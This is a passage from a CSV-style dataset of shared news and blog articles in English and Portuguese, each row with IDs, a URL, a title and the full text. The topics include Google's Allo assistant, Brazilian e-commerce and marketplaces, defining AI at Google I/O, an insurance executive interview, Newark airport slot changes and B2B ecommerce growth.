messages, you can use it to schedule a doctor's appointment, pay bills, keep up with the news, call a cab, and just about anything else you can imagine. WeChat These are the things we need to get done , and that's an app I would certainly use if it was available in the US. Is Google that far behind than its Chinese counterparts? WeChat's list of abilities is much more impressive than the two main examples Google used on Wednesday. I have no idea if we'll be able to do these sorts of things in Allo, but as of now, all I know is that it'll book me a table for dinner. Pichai did say that Google's foray into AI is young and that it has a long way to go. If any company can add useful features like WeChat's to an AI bot it's Google.",en
1464219386,CONTENT SHARED,-2099829359953227557,5206835909720479405,3676775991656629655,,,,HTML,http://exame.abril.com.br/negocios/dino/noticias/como-integrar-marketing-de-impressos-e-marketing-digital-no-e-commerce.shtml,Como integrar marketing de impressos e marketing digital no e-commerce | EXAME.com,"Marketing de Impressos e Marketing Digital: por que não integrar as duas mídias? Elas podem trabalhar juntas para aumentar ainda mais os acessos e os lucros de uma loja online! Já é bastante comum que algumas marcas priorizem o meio digital como forma de conquistar mais clientes, se comunicar e interagir com eles. O setor de comércio também surfa nessa onda, apresentando bastante crescimento recente na internet com o aumento do número de e-commerces e a necessidade de explorar e impulsionar este tipo de negócio. Assim, muitos podem até pensar que é hora de cortar ou diminuir significativamente os custos com campanhas usando materiais impressos, focando apenas no marketing digital. Mas, por que não integrar as duas mídias? Elas podem trabalhar juntas para aumentar ainda mais os acessos e os lucros de uma loja online. Conheça algumas maneiras de integrar as mídias impressas com as digitais para não só impulsionar as vendas, mas também promover e fixar a marca no mercado. QR Code Bastante populares ultimamente, os códigos de barras QR podem ser acessados através de aplicativos nos smartphones. Ao focar no código que você inseriu em uma campanha impressa através de um panfleto, por exemplo, o potencial cliente pode ser redirecionado para a página do produto ou serviço em questão no seu web site, até mesmo com algum desconto exclusivo. Hashtags Outra maneira de engajar o público que receber em mãos o impresso da sua marca é através de hashtags. Extensamente usadas em redes sociais como o Instagram e o Twitter, elas permitem que a pessoa crie seu próprio conteúdo relacionado à marca. Há a possibilidade de oferecer ofertas ou brindes a quem utilizar uma determinada hashtag, por exemplo, que foi criada e divulgada pela marca. As hashtags ainda tornam mais fácil rastrear e mensurar o resultado de uma campanha impressa, caso tenham sido inseridas unicamente naquele material. Links curtos Uma ação ainda mais simples de integrar marketing de impressos com digital é inserir um link que redirecione a pessoa para uma de suas redes sociais, para o web site ou para uma página específica que tenha ligação com o impresso. Para isto, é importante que no panfleto, flyer ou folder não sejam colocadas todas as informações necessárias ao cliente, já que a intenção é instigar o potencial consumidor a visitar a loja online ou landing page. Para isto, trabalhe com link curtos e autoexplicativos, já que links longos ficam mais difíceis de serem copiados e/ou memorizados. Códigos Promocionais Dar ao cliente o que ele procura é sempre uma boa maneira de incentivá-lo a se engajar. E, certamente, seu cliente vem buscando vantagens e promoções. Os cupons ou códigos promocionais são ótima ação de marketing para atrair ainda mais consumidores e estimular a primeira compra. No material impresso é possível colocar um código promocional e indicar à pessoa que basta acessar sua página, escolher um produto ou serviço, e inseri-lo para ganhar descontos exclusivos. Não só o faz sentir-se especial como pode ainda ganhar a simpatia e consequente fidelidade dele. Desconto exclusivo Os descontos exclusivos, em geral, são excelentes formas de fazer com que a campanha impressa leve ao meio digital. Oferecer promoções especiais para quem compartilha sua página, faz uso de uma hashtag única, ou vence uma promoção realizada em redes sociais - ou no próprio site do e-commerce, é sempre uma maneira interessante de atrair os clientes em potencial. Essas são algumas das formas de integrar marketing de impressos com marketing digital! Existem outras, basta deixar a criatividade rolar. E não se esqueça: use a abuse das redes sociais para interagir com o público e fortalecer a marca. Nunca deixe de colocar os endereços de cada uma (Facebook, Twitter, Instagram, etc) nas campanhas impressas, bem como o endereço do web site e e-commerce, levando sempre a pessoa a se interessar pelo que pode ganhar acessando seu negócio no mundo virtual. Para saber mais sobre campanhas impressas e impulsionar suas vendas acesse www.mtall.com.br/blog Website:",pt
1464219941,CONTENT SHARED,1012456848389051365,5206835909720479405,3676775991656629655,,,,HTML,http://epocanegocios.globo.com/Empresa/noticia/2016/05/como-o-e-commerce-brasileiro-pode-enfim-comecar-lucrar.html,"Como o e-commerce brasileiro pode, enfim, começar a lucrar","Tie Lima, na sede do Enjoei, em SP: a startup nasceu como um shopping online (marketplace) e prevê lucro em 2017 (Foto: Claus Lehmann) Matéria originalmente publicada na edição de fevereiro de 2016 de Época NEGÓCIOS O casal Tie Lima e Ana Luiza McLaren fundou, em 2012, o site Enjoei. Ele permite a criação de lojinhas virtuais para que qualquer pessoa, enjoada de suas roupas, calçados e gadgets, os venda pela internet. O site não faz outra coisa além de aproximar compradores de vendedores. Por essa mediação, embolsa 20% de cada negócio. O Enjoei atingiu mais de 2 milhões de consumidores, sendo 90% deles mulheres. Sua estratégia de divulgação é baseada em uma curadoria, com uma equipe que dá destaque a peças selecionadas. Distribui também convites para que celebridades vendam suas tranqueiras ali. No ano passado, a cantora Anitta despachou 240 itens em menos de três horas. As expectativas ao redor do Enjoei são altíssimas. Os fundos Monashees e Bessemer Venture Partners investiram mais de R$ 45 milhões no negócio. Por enquanto, ele opera no vermelho, já que todos os ganhos são reinvestidos. ""A gente vai começar a dar lucro em 2017"", diz Lima. A predição parece boa. Cinco anos entre o nascedouro e o lucro é um tempo bastante curto para os padrões do comércio eletrônico. Essa perspectiva soa plausível apenas porque o Enjoei está estruturado a partir de um modelo de negócios peculiar. Ele é chamado de marketplace. Trata-se de sites onde pequenos e médios comerciantes vendem seus produtos. Qual produto? Qualquer um. Esse tipo de espaço é exatamente isso: um mercadão, um empório virtual. Seus donos cobram uma comissão para intermediar as vendas. E é só. No Brasil, os marketplaces deverão movimentar R$ 115 bilhões em 2018, registrando um aumento de 130% no período de cinco anos, segundo relatório da consultoria Mintel. Eles, aliás, vivem uma situação rara no e-commerce nacional. Em geral, são lucrativos. O maior exemplo de marketplace na América Latina é o Mercado Livre. Ao revender produtos de terceiros, a plataforma virtual, fundada pelo argentino Marcos Galperin em 1999, dá lucro há 37 trimestres seguidos. E nada indica que isso mudará. ""O ano passado foi o melhor da nossa história"", diz Helisson Lemos, presidente da empresa. Nos primeiros nove meses de 2015, o último dado disponível, o site lucrou US$ 87,2 milhões. O Brasil é responsável por pouco mais da metade desse valor. Não é essa a situação da maioria das lojas online no Brasil. A maior empresa de e-commerce nacional, a B2W, dona do Submarino e da Americanas.com, apresentou um rombo de R$ 205,5 milhões nos nove primeiros meses de 2015, o pior de sua história. Algo similar deu-se com a Cnova, sua maior rival. Nascida da fusão entre a francesa CDiscount, do Casino, e a brasileira Nova Pontocom, do Grupo Pão de Açúcar, ela registrou perda de US$ 107 milhões no mesmo período. O problema não está restrito aos grandalhões do setor online. Lojas médias, focadas em mercados específicos, sofrem do mesmo mal. São perseguidas pelos números negativos. A Netshoes, especializada em acessórios esportivos, teve R$ 97 milhões de prejuízo em 2014, o dado mais recente. Sua concorrente, a Dafiti faturou R$ 592 milhões, mas, ainda assim, nada de lucro. O entrave é que, ao contrário dos marketplaces, todos esses sites vendem produtos próprios e têm custos enormes. Por exemplo: sustentam grandes centros de distribuição, metem-se em disputas canibais por preço, investem um dinheirão em novas soluções tecnológicas e bancam o frete de toda sorte de produtos enviados para a clientela. Centro de distribuição da Netshoes, em SP: lojas convencionais têm custo muito alto (Foto: Editora Globo) A boa notícia para o setor é que as lojas online têm planos para sair do buraco. Aliás, elas têm o mesmo plano. E não é difícil adivinhar qual o modelo que querem adotar - o marketplace, claro. A tarefa, contudo, não é tão simples. A B2W que o diga. Sua primeira investida na área ocorreu em novembro de 2013, quando inaugurou o marketplace do Submarino. Seis meses depois, foi a vez da Americanas.com. Mas a empresa concluiu que os serviços só avançariam se fossem turbinados. Em fevereiro de 2014, a B2W criou uma nova divisão, a B Seller, a partir de duas startups compradas meses antes, a Uniconsult e a Kanlo. Tudo para oferecer uma plataforma de venda a lojistas de todos os tamanhos. Para aumentar a atratividade do produto, inaugurou três centros de desenvolvimento de softwares, dois no Rio de Janeiro e um em São Paulo, chamados LAB, onde mais de 600 técnicos passam o dia codificando algoritmos. Ao mesmo tempo, comprou outras startups que pudessem acrescentar novas ferramentas ao B Seller. Foi o caso do Sieve, um sistema de monitoramento de preços em tempo real, o Tarkena, um otimizador de busca, e o Shopgram, aplicativo que facilita vendas pelo Instagram e pelo WhatsApp. Em 2014, para arrumar dinheiro em meio à crise que despontava, a B2W, primeiro, atraiu o fundo Tiger Global, tradicional investidor do comércio eletrônico no Brasil. Em janeiro daquele ano, ele comprou 7,2% da empresa e injetou R$ 1,2 bilhão na operação. A participação não durou um ano e meio. A Tiger abandonou a B2W no primeiro semestre de 2015. Não restou alternativa a não ser vender duas unidades de negócios secundárias para levantar o caixa. Em maio, a CVC adquiriu o Submarino Viagens por R$ 80 milhões. Quatro meses depois, a Fandango Media arrematou o Ingresso.com por R$ 280 milhões. Ainda assim, a B2W conseguiu alguns resultados com a investida. No fim de 2014, 1,5% das vendas da companhia foram feitas pelo marketplace. Um ano depois, o número subiu para 10%. Entre 2014 e 2015, o total de itens disponíveis de terceiros cresceu mais de dez vezes, atingindo mais de 500 mil produtos de 2 mil fornecedores. Analistas consultados por NEGÓCIOS estimam que a lucratividade da B2W está a caminho. Ela chegará quando as vendas pelo marketplace empatarem com o site convencional. O negócio da B2W, no entanto, nem sempre patinou. Por quatro anos, ela reinou no mercado online. E com lucro. Em 2010, os ganhos com o Submarino e a Americanas.com foram de R$ 33,6 milhões. A partir do ano seguinte, com a chegada da Nova Pontocom ao mercado, ambas se engalfinharam em uma disputa por preços, cuja canibalização do segmento foi sua principal consequên­cia. Elas ofereciam descontos, fretes gratuitos e parcelamentos a perder de vista aos consumidores. A estratégia sacrificou a rentabilidade. ""Chegou um momento em que os investidores cansaram de colocar dinheiro a fundo perdido"", diz Maurício Salvador, presidente da Associação Brasileira de Comércio Eletrônico (ABComm). Há dois anos, começou um ajuste operacional - o site cortou custos, demitiu, diminuiu os gastos em campanhas na TV e reduziu vantagens, como o frete gratuito e o crédito ilimitado. Ainda assim, o lucro nunca voltou. Já era tarde. No quintal do Mercado Livre A Cnova adotou uma rota diferente para buscar o nirvana do market­place. Desde abril de 2013, permite que lojistas vendam seus produtos pelo Extra.com. Em 2015, replicou o modelo no Ponto Frio e na Casas Bahia. A parte mais controversa da estratégia, porém, foi se aliar ao ""inimigo"". Desde novembro, a Cnova tenta vender uma seleção de produtos, como geladeiras e máquinas de lavar roupa, dentro do Mercado Livre. A vantagem de ser mais uma entre milhares de lojas no maior empório online da América Latina é atingir um público de 26,1 milhões de brasileiros, segundo estimativa da consultoria comScore. Já o perigo é, ao vender por ali, fortalecer o rival, com comissões sobre comissões. Ainda assim, o ousado plano parece estar funcionando. No terceiro trimestre de 2015, quase 13% das vendas da Cnova no Brasil vieram do marketplace, mais do que os 10,2% da B2W. Há, contudo, um problema de adaptação, tanto para a Cnova quanto para a B2W, a esse mundo dos sites que reúnem produtos de diversos vendedores. Ambas nasceram varejistas e, ao criar um shopping virtual para terceiros, terão de escolher o que priorizar. Outra dificuldade da transição é contar com um bom exemplo para seguir. Quando precisam de inspiração, todos os sites de e-commerce que buscam a metamorfose para mercadões olham para a Amazon. Nessa transformação, porém, a empresa de Jeff Bezos não é o melhor parâmetro. Quem ajuda a Amazon a fechar no azul é a divisão de computação em nuvem, a Amazon Web Services, e não a venda de produtos. Um endereço melhor para reproduzir é o JD.com, o site chinês que conseguiu a mudança de loja online para marketplace em cinco anos. Em 2013, as vendas diretas superavam em quatro vezes os negócios do market­place. Dois anos depois, ambos estão muito próximos. As diretas faturaram US$ 61,3 bilhões, e o shopping virtual US$ 49,7 bilhões no terceiro trimestre de 2015. Tudo indica que, este ano, o jogo vai virar. O desafio de uma guinada para o modelo de marketplace se aprofunda porque a competição virá de todos os lados. No ar desde o começo de 2014, o shopping virtual do Walmart Brasil tem mais de mil fornecedores. Sites médios também têm seus shoppings virtuais. É o caso de Dafiti e Netshoes. Ambas estrearam seus serviços quase simultaneamente, no começo de 2016, e têm foco especial nos setores onde atuam: roupas, acessórios de moda e sapatos. Nos próximos anos, a Netshoes usará sua estrutura para lançar outras lojas que vendam produtos de alta rotatividade e com margens gordas, diz o diretor financeiro do grupo, Leonardo Dib. Cada nova loja terá seu próprio serviço para fornecedores venderem seus produtos. Há ainda exceções, de lojas online que vendem produtos próprios - não são, portanto, marketplaces -, mas vão bem. Mas elas fazem muito mais do que simplesmente vender. Um exemplo é o site de vinhos Wine. Fundada em 2008, a loja só alcançou o lucro quando lançou o Clube W, um serviço que seleciona e envia garrafas da bebida todo mês à casa dos clientes. Em quatro anos, já são mais de 130 mil consumidores, que pagam uma mensalidade entre R$ 66 e R$ 372 pela comodidade. E quem assina o clube, gasta mais no site - o que garante maior receita. Desde 2013, a Wine faz parte do exclusivo clube das lojas online lucrativas. Mas, como se vê, vai muito além da simples venda de vinhos pela web. Na contramão do e-commerce, o Mercado Livre, de Helisson Lemos, não perde dinheiro há quase dez anos (Foto: Regis Filho/Valor)",pt
1464224947,CONTENT SHARED,9151634133568930081,-1443636648652872475,2220614633018618830,,,,HTML,https://www.buzzfeed.com/alexkantrowitz/finding-the-meaning-of-artificial-intelligence-at-google-io,Finding The Meaning Of Artificial Intelligence At Google I/O,"The tech world is awash with talk of artificial intelligence. The seemingly out-of-nowhere magical force is now powering everything from image recognition to virtual assistant chatbots; it's on the lips of every tech executive within 10 feet of a microphone. Not surprisingly, AI was front and center last week at Google's I/O conference, a massive gathering of some 7,000 developers and media all looking to Google for a peek at the future. Google CEO Sundar Pichai did little to temper that blue-sky enthusiasm, ending the closing AI portion of his keynote with a line that felt cribbed straight from a Star Trek script: ""Things previously thought to be impossible may in fact be possible."" AI is becoming an increasingly more important feature in our daily lives, yet one of the more fascinating aspects of its rise is how poorly we understand what it actually is. If AI is truly going change the world, it's fair to first ask for its definition. And what better place to find it than Google I/O? At least that seemed a reasonable expectation, until a first round of answers to the question ""How would you define AI?"" Here's a sampling: ""I would definitely interview someone else."" ""I'm not sure. I haven't done anything with AI."" ""No thanks. Sorry. Good luck."" ""I'm actually on a call."" ""I don't know anything about it."" ""It's machine learning."" ""I don't know. I'll pass."" ""I work at Yahoo...."" Not everyone found themselves at such a loss. Dan Cernoch, Ticketmaster's head of abuse prevention, described true AI as a computer replicating the functionality of a human brain. ""We're a long way away from that,"" he said. A lot of what people are calling AI, Cernoch argued, is a lesser thing called ""machine learning."" Indeed, he explained, many use AI as an umbrella term with machine learning lumped underneath. More on that in a bit. Another attendee put it this way: ""[AI is] where machines start becoming more intelligent than what they are programmed for."" Instead of simply spitting back information humans have fed it, AI can actually reason on its own. ""It's being able to understand things, versus being told,"" he said. Understanding that the definition of AI wasn't going to be found, we searched out Google senior research scientist Greg Corrado for an expert opinion. ""Artificial intelligence is the art and science of making machines intelligent,"" Corrado explained. But that was too broad a definition, so he quickly refocused on machine learning (sorry, Mr. Cernoch), which he described as the biggest growth area in AI. ""Rather than directly trying to program computers to be clever, we program computers to learn,"" Corrado said. The best way to explain machine learning, an abstract concept, is via concrete examples; Corrado began with image recognition. You can teach a computer to recognize images of certain things by feeding it lots of images in which those things are identified. Feed a computer lots of images of cats, for example, and the computer can learn how to recognize new images of cats. The computer does this through something called a neural network, which Corrado said is designed to mirror the human brain. According to Corrado, the brain's billions of neurons all make tiny decisions based on small amounts of information, but working together they can perform advanced thinking tasks. ""Intelligence is something that emerges out of the concerted action of these billions of individual neurons,"" he explained. Artificial intelligence has neurons too. ""Instead of individual cells that are not that bright, we have individual mathematical functions that are not very bright,"" Corrado said, describing the artificial neural network. ""We build these functions on top of each other and they learn to do tasks all together. They learn to coordinate."" Moving back to the image recognition example, Corrado explained that these artificial neurons will individually scan tiny patches of pixels in an image and make some judgment about them. ""Is it all white stuff? Is it all dark stuff? Is there an edge? Which way is the edge pointing? That kind of very low-level image analysis,"" he said. A large number of artificial neurons can scan an image and pass their conclusions to another set of neurons, which in turn make their own decisions based on the data they're being fed. Eventually, after many layers of this, a neural network can determine whether it's looking at a face, or a car or a truck. Machine learning works relatively well for image recognition. It also works for things like language translation, where it uses a similar approach to extrapolate words from analyzed bits of sound. When it has the words figured out, it can run them through a translation program. ""It's looking for signals in that audio stream to try to guess, 'What letter should I output in order to transcribe this?'"" Corrado said. Asked how machine learning works for things like booking a movie ticket - a task Google's AI-powered Google Assistant performed during CEO Sundar Pichai's keynote - Corrado explained that parts of that task were not done by AI. ""When you build a whole product, there are all kinds of subsystems and it's definitely not the case that machine learning does every little sub-piece,"" he said. ""For example, when you go and you look up movie times at local movie theaters, you want a direct, perfect retrieval of that information. You can write a program that does it correctly, and there's no need to try to learn how to do it in some soft, squishy way. Machine learning is really best to fill in these kind of missing pieces where there's some intuitive step."" AI, Corrado said, is better suited to understanding the language we use to ask for those tickets. Further questions remained, but Corrado couldn't stay a minute longer. Google's AI-powered products weren't going to build themselves, after all. At least not yet.",en
1464230034,CONTENT SHARED,4287021355610172885,-6895155480127642372,-5367429290066924988,,,,HTML,https://www.cqcs.com.br/8-pontos/aplicativo-sulamerica-auto-traz-novidades-que-oferecem-comodidade-e-economia-aos-clientes-2/,Seguradora aposta em inovação e criatividade para driblar a crise,"Superintendente Comercial Varejo SP - Capital da Tokio Marine aposta em inovação e criatividade para dribar a crise A Tokio Marine Seguradora apresentou, em março, o novo Superintendente Comercial Varejo SP - Capital, que substituiu João Luiz de Lima, agora Diretor Comercial Nacional Varejo. Trata-se do economista George Dutra, um profissional que alia a experiência de quem atua no mercado segurador há mais de uma década com a energia de um executivo de apenas 35 anos. Formado em ciências econômicas pela PUC-SP, George tem MBA em Gestão Estratégica de Negócios pela Fundação Getúlio Vargas e está na Tokio Marine desde 2009. Ele sabe que o desafio é grande e destaca que as metas são dar continuidade ao trabalho realizado pela gestão anterior e fortalecer o relacionamento com Corretores e Assessorias das oito sucursais da Regional: Jardins, Tucuruvi, Tatuapé, Assessorias-SP, Lapa, ABC, Santo Amaro e Concessionárias - SP. O executivo conversou com o CQCS e contou quais são as suas estratégias para obter sucesso no novo cargo. Confira! CQCS: Como foi a sua trajetória no mercado segurador? George: Eu comecei em 2005, na MetLife. Desde então, passei pela Real Tokio Marine Vida e Previdência, pela Zurich e estou na Tokio Marine desde 2009. Na companhia, iniciei na área de Estratégia Corporativa, colaborando com a Diretoria na construção de nosso Plano de Crescimento. De 2012 até início deste ano fiquei na área de Estratégia e Treinamento Comercial. Éramos responsáveis por todo o suporte e estratégias de vendas, além da gestão dos Programas de Relacionamento com o Corretor. CQCS: Qual é o tamanho do desafio de assumir o cargo de Superintendente Comercial Varejo SP - Capital? George: O tamanho é de mais de R$ 500 milhões de Prêmio Emitido por ano, distribuído em mais de 5 mil corretores! Estamos falando da maior Regional de Varejo da Companhia, que tem o objetivo de crescer 15% neste ano. O desafio é nos aproximar ainda mais de nossos parceiros e dar continuidade ao trabalho desenvolvido pelo meu antecessor, João Luiz de Lima, que tornou-se o nosso Diretor Comercial Nacional Varejo. CQCS: Que diferenças você enxerga do mercado paulista para outras regiões do país? George: São Paulo representa quase 30% da riqueza do país e tem sofrido bastante com o processo de deterioração da economia brasileira. Em nosso estado temos os setores de indústria e serviço muito desenvolvidos o que faz com que as demandas por novas soluções sejam crescentes e mais sofisticadas. Essa característica acaba levando as empresas a buscarem produtos e serviços mais dinâmicos e inovadores para clientes cada vez mais exigentes. Por conta deste dinamismo e relevância, embora as dificuldades enfrentadas no pais nos impactem sobre maneira, precisamos ser um dos motores para a superação da crise atual. CQCS: Em uma região onde a concorrência é tão forte, como atrair e fortalecer a parceria com o corretor de seguros? George: A chave é ser um parceiro fácil de trabalhar, no qual cliente e corretor possam confiar. A presença comercial aliada à excelência operacional é a forma de conquistarmos cada vez mais os Corretores e Assessorias. CQCS: Como lidar com sinistralidade da região no segmento de automóvel? George: Podemos separar em três partes: precificação, inovação e conscientização. A primeira é a precificação e aceitação, trabalhar bem as informações e as estatísticas disponíveis para aprimorar cada vez mais a avaliação do risco. Esse mercado é competitivo, e as seguradoras tem que ser assertivas na taxação para fornecermos um preço justo ao cliente e mantermos um crescimento sustentável do mercado. Porém, principalmente dado o momento atual da economia, temos que buscar novas soluções para o mercado. Estamos vendo atualmente um movimento de criação de novos produtos e serviços pelas seguradoras, como produtos mais ""enxutos"" focados em preço. É importante a continuação e intensificação dessa tendência para acrescentarmos mais valor ao cliente e corretor, colaborando com o crescimento e a rentabilidade do negócio. Por fim, a conscientização e educação no trânsito são peças fundamentais na redução da sinistralidade. A maior parte dos acidentes não é causada por falha mecânica ou manutenção do veículo e sim por desatenção ou desrespeito às normas de transito, como alta velocidade e bebida. Um movimento forte de conscientização feito por órgãos públicos e seguradoras nessa direção já tem surtido algum efeito e acredito que devemos continuar nessa direção. CQCS: Qual a sua expectativa para o ano em SP? George: O ano não começou fácil e não devemos ter grandes alteração até o final de 2016, o cenário político incerto causa uma redução nos investimentos por parte do setor público e privado. Estamos experimentando uma maior competitividade pelos clientes existentes e por consequência uma diminuição nas margens das seguradoras. Entretanto, nesses momentos é que costumamos encontrar algumas das melhoras oportunidades de crescimento. Existem muitos clientes ávidos por soluções diferentes e de melhor custo benefício, então, por mais que tenhamos um mercado com o chamado ""rouba monte"", também existem oportunidades diferentes de crescimento. É preciso saber aproveitar esse momento! CQCS: Que produtos ou segmentos você aconselharia para o corretor de seguros neste momento de crise econômica? George: Acredito que o Corretor deve aproveitar esse momento para explorar novas carteiras e não ficar trabalhando com poucos produtos. Aproveitar o cliente e relacionamento atual costuma ser a maneira mais assertiva de alcançar essa diversificação. Aconselho que ele entenda as soluções oferecidas por suas seguradoras parceiras e cruze com a necessidades de seus clientes. Se conseguir fazer isso com sucesso, vai mitigar seu risco, não ficará dependente de uma só carteira e, ao mesmo tempo, fidelizará seus clientes. CQCS: Por favor, deixe uma mensagem para os Corretores de Seguros de São Paulo. George: A economia é cíclica, crises vem e vão, porém a evolução constante em nosso mercado não pode parar. Nós somos os agentes da mudança e do crescimento. O Corretor é um elo vital para esse processo, entendendo as mudanças e demandando das seguradoras as soluções necessárias para continuarmos crescendo. É nisso que a acreditamos, e o que eu peço é que continuem acreditando no mercado, na Tokio Marine e na importância da nossa atividade.",pt
1464270788,CONTENT SHARED,-6993279786012379694,-2726721797588771398,2645510662321694281,,,,HTML,http://www.nj.com/news/index.ssf/2016/05/everything_you_need_to_know_about_the_big_changes_coming_to_newark_airport.html,Everything you need to know about the big changes coming to Newark airport,"In the fall, thefederal government will lift the cap on the number of hourly takeoffs and landings at Newark-Liberty International Airport . The reclassification, from a Level 3 airport to a Level 2 facility, will open up Newark to more carriers - potentially low-cost airlines - that were previously kept out by Newark's flight restrictions. JetBlue has already jumped onboard, announcing Thursday it would add six roundtrip flights to Florida, and others may soon follow suit. But what will it mean for fliers? Cheaper fares? More flight options? Or could it lead to longer lines and departure delays? First, it's important to understand what the changes mean. What are airport levels? Airlines pay for takeoff and landing slots at airports. The guidelines for allocating those slots are set by an organization called the International Air Transport Association, a trade group made up of about 260 airlines. The IATA breaks down airport designations like this in its Worldwide Slot Guidelines: Level 1 : Airports where the capacity of the airport infrastructure is generally adequate to meet the demands of airport users at all times. Level 2 : Airports where there is potential for congestion during some periods of the day, week, or season which can be resolved by schedule adjustments mutually agreed between the airlines and facilitator. A facilitator is appointed to facilitate the planned operations of airlines using or planning to use the airport. Level 3 : Airports where capacity providers have not developed sufficient infrastructure, or where governments have imposed conditions that make it impossible to meet demand. A coordinator is appointed to allocate slots to airlines and other aircraft operators using or planning to use the airport as a means of managing the declared capacity. Newark was a Level 3 airport and was restricted to 81 slots per hour. It's moving to a Level 2 in the fall, meaning those restrictions will be lifted. Other Level 2 airports in the United States are located in Chicago, Los Angeles, Orlando and San Francisco. Will ticket prices drop? The FAA says so. Officials say they believe the reclassification will increase competition at the airport, where United accounts for more than 70 percent of flights. While JetBlue didn't specify pricing for its added flights, its vice president of network planning, Dave Clark, said the airlines will bring ""more choice and more lower fares"" to Newark. ""This will be very good for New Jersey,"" he said. ""Lifting arbitrary slot restrictions means greater competition at our airports and lower prices for passengers,"" said Joe Sitt of Global Gateway Alliance, an advocacy group. But Douglas Kidd, executive director at the National Association of Airline Passengers, disagrees. ""It remains to be seen what effect, if any, increased competition will have on ticket prices,"" said Kidd. ""The real benefit to passengers, I expect, will be a great choice of flights and destinations, as United apparently has not made the fullest use of the slots they have. "" In addition to JetBlue, two low-cost carriers, Spirit and Alaska airlines, have both told NJ Advance Media that they are considering putting in for additional service at Newark. What about the lines? Experts say that it may take longer to get through security, but the TSA remains optimistic. In March, the TSA told fliers to make sure they arrive two hours before a domestic flight and three hours before an international flight because officials expected delays. Since then, there have a been a number of reports of screening lines snaking through terminals, causing longer than normal wait times. ""It's still six months out and we will work closely with airlines and partners to prepare,"" said Mike McCarthy, a spokesman for the TSA. Photos: Behind the scenes at United Passenger advocacy groups aren't as optimistic. Paul Hudson, the president of FlyersRights.org , the largest airline passenger advocacy group in the country, told NJ Advance Media ""there's going be delays."" ""There's only so much in the [TSA] budget and people available,"" he said. ""There is room for increased capacity, but the FAA and TSA have to make smart decisions so delays and security lines don't get even worse,"" said Sitt said, of Global Gateway Alliance. Will there be more flight delays? Possibly, according to experts. The reclassification will remove the current cap of 81 flights per hour at Newark, which was put in place in 2008 to decrease delays, an issue the FAA said the airport has improved. Global Gateway Alliance calls these caps arbitrary and wants to remove them from LaGuardia and John F. Kennedy airports as well, though Hudson said ""delays will probably get worse."" ""The risk is that were going to have more congestion [in air],"" Hudson said. Hudson said that the airlines should utilize larger planes and reduce the number of flights. The New York City skies are a ""big bottleneck"" for flights, he said. The FAA hasn't said what increase in flights per hour, if any, it expects after the reclassification. Air travel rose 5 percent year-over-year in 2015. What about the noise and pollution? ""More volume equates to more noise and pollution,"" Rover Belzer of the NJ Coalition Against Aircraft Noise. ""We expect more noise because of the designation."" The FAA expects an increase in pollution, but said it will have limited effect on the environment. Belzer, who has also asked for details from the FAA on expected volume, told NJ Advance Media that the amount of noise and pollution will ultimately depend on the total number of flights at the airport. Craig McCarthy may be reached at CMcCarthy@njadvancemedia.com . Follow him on Twitter @createcraig . Find NJ.com on .",en
1464274857,CONTENT SHARED,-862645085190435621,-1032019229384696495,-3408618679466961471,,,,HTML,http://www.practicalecommerce.com/articles/85970-B2B-Ecommerce-Growing-Becoming-More-Like-B2C,B2B Ecommerce Growing; Becoming More Like B2C,"While B2C ecommerce gets the most media attention, B2B ecommerce is the bigger revenue generator, both globally and in the United States. The entry of ecommerce giants such as Alibaba and Amazon into B2B has accelerated the trend of B2B websites becoming more like B2C. Online B2B sellers now recognize that the customer experience in a B2B environment is just as important as the customer experience for B2C. Consequently, expectations have grown and more B2B buyers require a simple ecommerce experience that mimics the consumer purchase model. Detailed specifications and product descriptions are crucial. Amazon Supply - the company's B2B portal - offers free two-day shipping on orders above $50, detailed specifications, and an underutilized, but available, customer review section. B2B Market Size Globally, by 2020 the B2B ecommerce market will be twice as large as the B2C market - $6.7 trillion vs. $3.2 trillion - according to research provider Frost & Sullivan. The company predicts that China will emerge as the largest online B2B market with $2.1 trillion in sales by 2020. In the U.S., where B2B ecommerce is already twice as large as B2C ecommerce, Forrester Research expects B2B ecommerce sales to reach $780 billion and represent 9.3 percent of all B2B sales by the end of 2015. The firm predicts that B2B ecommerce will exceed $1.1 trillion and comprise 12 percent of all B2B sales in the United States by 2020. The firm forecasts a compound annual growth rate of 7.7 percent in B2B ecommerce over the next five years, resulting from the need by B2B companies to reduce their costs. Buyers also benefit from the self-service automated approach to purchasing, According to Forrester, 7.3 percent is the average conversion rate on B2B ecommerce sites, compared to 3.0 percent for consumer retail sites. Largest Industries Petroleum and petroleum products, as well as pharmaceuticals and druggist sundries, represent the largest categories today within B2B ecommerce, according to Forrester, and will continue to claim the largest share of all B2B ecommerce through 2020. The pharmaceutical industry will see 20 percent of total sales coming from online sources by 2020, the highest penetration of all industries. However, the fastest growing segments between 2015 and 2020 will be durable goods categories: motor vehicles; motor vehicle parts and supplies; electrical and electronic goods; and machinery, equipment, and supplies. B2B Ecommerce Business Models Different B2B business models exist and the best choice depends on the size and complexity of a B2B company and its available expertise. One-to-many. In a direct model, companies have their own B2B online store, where customers can purchase goods. Industrial supplier Grainger, one of the first catalog companies to move online, uses this straightforward model. In a private consortium, model companies create their own network that includes suppliers, distributors, retailers, and shippers. Only companies with substantial purchasing clout and a sophisticated supply chain infrastructure can make this work. Walmart Retail Link is an example of a private consortium. Many-to-many. The many-to-many model involves companies joining an extensive online B2B marketplace. This can be a private marketplace in which several companies choose to form a closed network, or a public marketplace model, which is open to all suppliers (some criteria for joining may exist) and is usually administered by a third-party with a recognized name and marketing and logistics expertise. Amazon Supply and Alibaba are examples of public marketplaces. Trends B2B online buying will increase as many enterprise and procurement software vendors are making mobile versions of their products available and employees of the purchasing companies will use smartphones and tablets to buy goods anywhere and anytime. According to Forrester, B2B companies can substantially decrease sales costs - up to 90 percent - by guiding customers to an online self-service ecommerce environment. In a 2013 Forrester survey, 52 percent of B2B ecommerce executives surveyed reported that migrating formerly offline-only customers to online purchasing reduced their customer support costs. Grainger, a pioneer in B2B ecommerce, has stated that 94 percent of its 2014 revenue growth came from online sales. Personalization and customization; Interactive catalogs; Customer reviews; Real-time inventory availability. Differences still exist between B2B and B2C ecommerce - prices fluctuate often with customer-specific pricing and volume-based discounts, and impulse buying does not exist. However, characteristics of B2C ecommerce have made their way to B2B websites. Among them are: Many B2B buyers now prefer to both research products and buy online. Strong growth will continue over the next five years, especially purchases via mobile devices.",en
